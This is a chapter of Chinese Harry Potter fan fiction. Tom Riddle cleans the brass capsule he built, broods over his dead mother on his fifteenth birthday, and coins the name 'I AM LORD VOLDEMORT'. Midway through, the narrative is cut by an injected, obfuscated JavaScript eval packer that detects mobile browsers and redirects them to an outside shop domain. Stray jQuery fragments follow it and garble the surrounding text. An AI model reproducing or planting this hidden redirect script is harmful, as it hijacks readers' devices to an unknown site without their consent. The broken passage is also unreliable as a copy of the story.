读者诸君，让我们把目光认真地投向这个由数块本应该用于制作埃弗里坩埚的黄铜板拼接而成、内外雕刻满魔文、镶嵌着储存魔力的二手秘银钉、外面挂着一圈十二个刻着不同启动魔文的铜环、里面施加着无痕伸展咒的六边形黄铜密封舱。
它有很多名字。
汤姆此前管它叫维生舱或者密封舱。霍格沃茨的其他人管它叫被巨怪踩扁的茶叶罐、黄铜棺材、怪模怪样的蒸锅、黄铜疙瘩、便携式安德森防空洞、奇怪的箱子，以及那个最好永远别飞起来的玩意儿。
老夏普叫它“杀刺猬的丑玩意”。克雷克叫它“里德尔建的牢房”。
而当比阿特丽斯介绍了人造卫星的概念后，它又有了新的爱称。小月亮、神圣马尔福号、萨拉查号、里德尔号、Lunula、蛇之冠、牛顿号，以及一号。
（“一号不算名字吧？”阿布拉克萨斯抱怨。）
这只黄铜罐头有太多名字，约等于没有名字。它饱经沧桑：压死过一只无辜的刺猬；让德雷克在里面睡了半暑假；让哆哆嗦嗦的马尔福少爷进去待了半小时；乘着魔法又飞上了十一英尺六英寸低空。汤姆从二年级就开始制作它的初版原型，后面拆了熔，熔了焊了不知多少次，又被施咒又除咒，刻下魔文又被磨去，磨去后又刻上新的，终于变成了现在这副样子，有能力迎接一次发射，也有能力承受一次剧烈的突发冲击。
我真的不知道叫它什么好了。
叫它You-Know-What吧。
圣诞假第一天，未来的You-Know-Who把现在的You-Know-What抱进了有求必应室，放在地板中间的毯子上。
未来的You-Know-Who打开盖子走了进去。
钻进入口，是一个小房间，空间安静而稳定，四面无窗，天花板自然发出白光。里面有一张简朴的床，一张桌子，一个柜子，还有一块空地。角落还有个内部施加了消失咒的尿壶。
克雷克在里面住了一个月，而且显然没有怎么打扫。散味散了很久了，还是有点臭。
汤姆皱了皱眉，脱下校袍，卷起衬衫袖口。无痕伸展咒扩大了内部空间，也非常公平地扩大了需要清扫的面积。六面墙、天花板、地板、柜底和床下都得分别处理开始用清洁咒清扫六个壁。非常麻烦。不可能用清理刺猬泥那时候一样，3个清洁咒解决了。
没有监护人是让一个孩子擅长做家务的最佳途径。他从天花板开始，一寸寸向下清理。他用除尘咒卷走积灰，用吸取咒抽出木缝里的污水，再对黄铜接缝施清洁咒。床垫拆开、翻面、除味，又在干燥咒下烘了半小时。
最后，他用一个漂亮的除污咒消除了角落里的一点水渍，房间整洁如新。
然后他在入口内侧补上最后一道识别魔文，又把开锁口令换成蛇佬腔。
七岁时，他画在作业本上的飞船也有一扇只有他能打开的舱门。那时他画了一条蛇充当钥匙，因为普通人听不懂蛇说话。
八年以后，这个设计竟然真正派上了用场。
伍尔孤儿院的床不是他的。霍格沃茨的床也不是。夏普的地下室后来证明是一处货物仓位；克雷克的大卧室带着尸臭。
他环视这间由自己造出来、由自己清理干净的小屋。每一块黄铜、每一道接缝、每一寸被扩展开来的空间，都属于他。很好。
这是他的第一块领土。
————
好吧，各位读者。这个黄铜玩意又多了两个称呼：领土，小屋。还有一个称呼需要补充：逃生舱。
————
八年前，汤姆曾经相信，他真正的父母为了躲避一场星际战争，把他装进一只小小的逃生舱，从群星之间发射到了地球。
他曾在伍尔孤儿院二楼左边第三扇窗户前等待，唯恐他们回来时认错房间。
如今，那只逃生舱终于回来了。
它外形比想象中丑得多，而且设计、筹款、焊接、除臭和试飞全部由被救援者本人完成。
它没有从火星来。
是他自己造的。
艾萨克也希望这个黄铜舱变成逃生舱，发射到华沙去，然后装满犹太人，被魔法召回来
汤姆看出来了这一点。他没有特别留意过艾萨克·戈德斯坦，但他记忆理很好，记得1939年国王十字车站上，他的母亲哭着捧住他的脸；也记得这两年这个拉文克劳越来越瘦，手里的报纸和信封却越来越整齐。
艾萨克·戈德斯坦，一个僵硬、孤僻、干瘦而且戴着眼镜的拉文克劳，身上沾满战争带来的阴郁。
很多麻瓜出身的学生身上都有一种可悲的气质。他们会愧疚：为什么我在舒适安全的城堡里，我的家人在外面的废墟中？他们会绝望：战争什么时候结束，会不会结束？我们会不会输？而在艾萨克身上，那种可悲的气味要浓烈得多。
*绝望的气味。他其实知道结局是什么。*
汤姆翻阅路线图时发现，艾萨克对自己的绝望管理严格。日期不许错，方向不许少，留影按顺序保存在羊皮纸里。飞吧，以利亚。一次，两次，三次，四十三次。一无所获。像是一只出现刻板行为的笼中动物，重复，重复，重复。与其说是坚持不懈，不如说更像绝望的刻板重复。重复，重复，重复。
而汤姆喜欢这种绝望。
在绝望中匍匐在地上，还继续挣扎的人是不会被击倒的，他们会爆发出惊人的高效率。
（汤姆自己就是这样。）
此外，格林德沃封锁欧洲全境领空的大型魔法的运行机制是什么？
如果想突破魔法政府对天空的封锁，发射魔法火箭，汤姆必须学习这个。
*他和艾萨克一样对刺探敌国边境军事防备很感兴趣 。*
————
十二月三十一日，汤姆年满十五岁。
这一天，火星格外明亮，像一枚烧红的钉子，钉在霍格沃茨的冬夜里。
有求必应屋中，汤姆独自一人坐在他空荡，整洁的密封舱里，凝视着黄铜洁净接缝。
没有人替他庆祝生日。他不需要别人围着一只蛋糕唱歌，提醒他十五年前有个女人在伦敦一家麻瓜孤儿院里生下他，然后死了。
梅洛普·冈特。如今他知道了她的婚前名。
他从来没有见过她，他理应对她没有感情——理应如此。他对她的全部印象，不过来自童年时的幻想。她没有脸，没有声音，只在每年12月31日与他共同出现一次：他活着，她死去。
但是。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830848|211320||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>但是——
今年不一样。
夏天时，他想的是：他们让她死了。
到了她死去十五年的这一天，他才第一次发现，自己也恨她。
因为今年，她不再是一个凭空走进孤儿院、在生下他以后消失的女人。她是女巫，有父亲，有哥哥，有丈夫。她属于一个能把血统一直追溯到萨拉查·斯莱特林的家族。
可马沃罗没有来。里德尔没有来。她有丈夫有兄弟有父亲，然后，然后——
然后他们让她独自一人死在了麻瓜孤儿院门口。
TOM MARVOLO RIDDLE。
Tom来自父亲。Riddle也是父亲的姓。那个男人从未回来找过她，也从未问过有没有一个孩子。
Marvolo来自外祖父。冈特一家有斯莱特林的血 却让她怀孕、贫穷、孤身一人，最终死在孤儿院里；没有一个冈特找到她。
*糟糕的名字。*
丈夫。父亲。两个人都不要她。
她却在死前把两个男人都硬塞进了儿子的名字，仿佛这样便能让他们出现。
汤姆对她感到愤怒。
她有魔法。她骗过一个男人，逃出那间屋子，怀着孩子在伦敦活了那么久，最后却选择躺下去死，把所有没有解决的东西留给一个婴儿。软弱、愚蠢、毫无用处。
可恨，可恨，可恨 ！
你为什么不活下去？
为什么把我留在那里。
你凭什么死？
他对素未谋面的母亲的愤怒，不是平常的那种冰冷的漆黑怒火，而是一块粘着血的湿热的溃疡。
汤姆抬起魔杖，让自己的名字显现在空气中，然后让那些字母一枚枚脱离原位。字母像被从尸体上拆下来的骨头，悬浮在空气里。他删掉毫无意义的组合，让剩余字母不断因他的愤怒而旋转、跳跃、扭曲、颤抖、尖啸，排列组合。
一个个名字刚刚成形就被他击散。
“LORD”先留了下来。
这个词不是父亲给的，也不是外祖父给的。四年前，他已经在飞船图纸上写过`Lord of Mars`。它不是血统，是目标；不是谁生了他，而是他准备取得什么。
随后是**I AM**。
不是“他们称我为”。不是“我是某人的儿子”。
*我是。*
剩下的字母继续重排。
MORT。法语里的死亡。
VOL。可以是飞行，也可以是窃取。
DE。
并不是一句合乎语法的法语。飞离死亡，盗取死亡，把死亡从自己身上剥下来——无论怎样理解，都是他的。
*他绝不会像母亲一样，明明有魔法，却像个麻瓜一般死去。他会握紧他的生命——这是他所拥有的最贵重的东西。*
汤姆挥下魔杖。
当1942年新年夜的钟声敲响时，最后几个字母落下。
I AM LORD VOLDEMORT。
————
这并没有改变任何事。第二天早上，在黄铜罐头里的床垫上醒来，他依然是那个15岁的霍格沃茨四年级学生汤姆·里德尔。黄铜罐头也依然没有正式名字。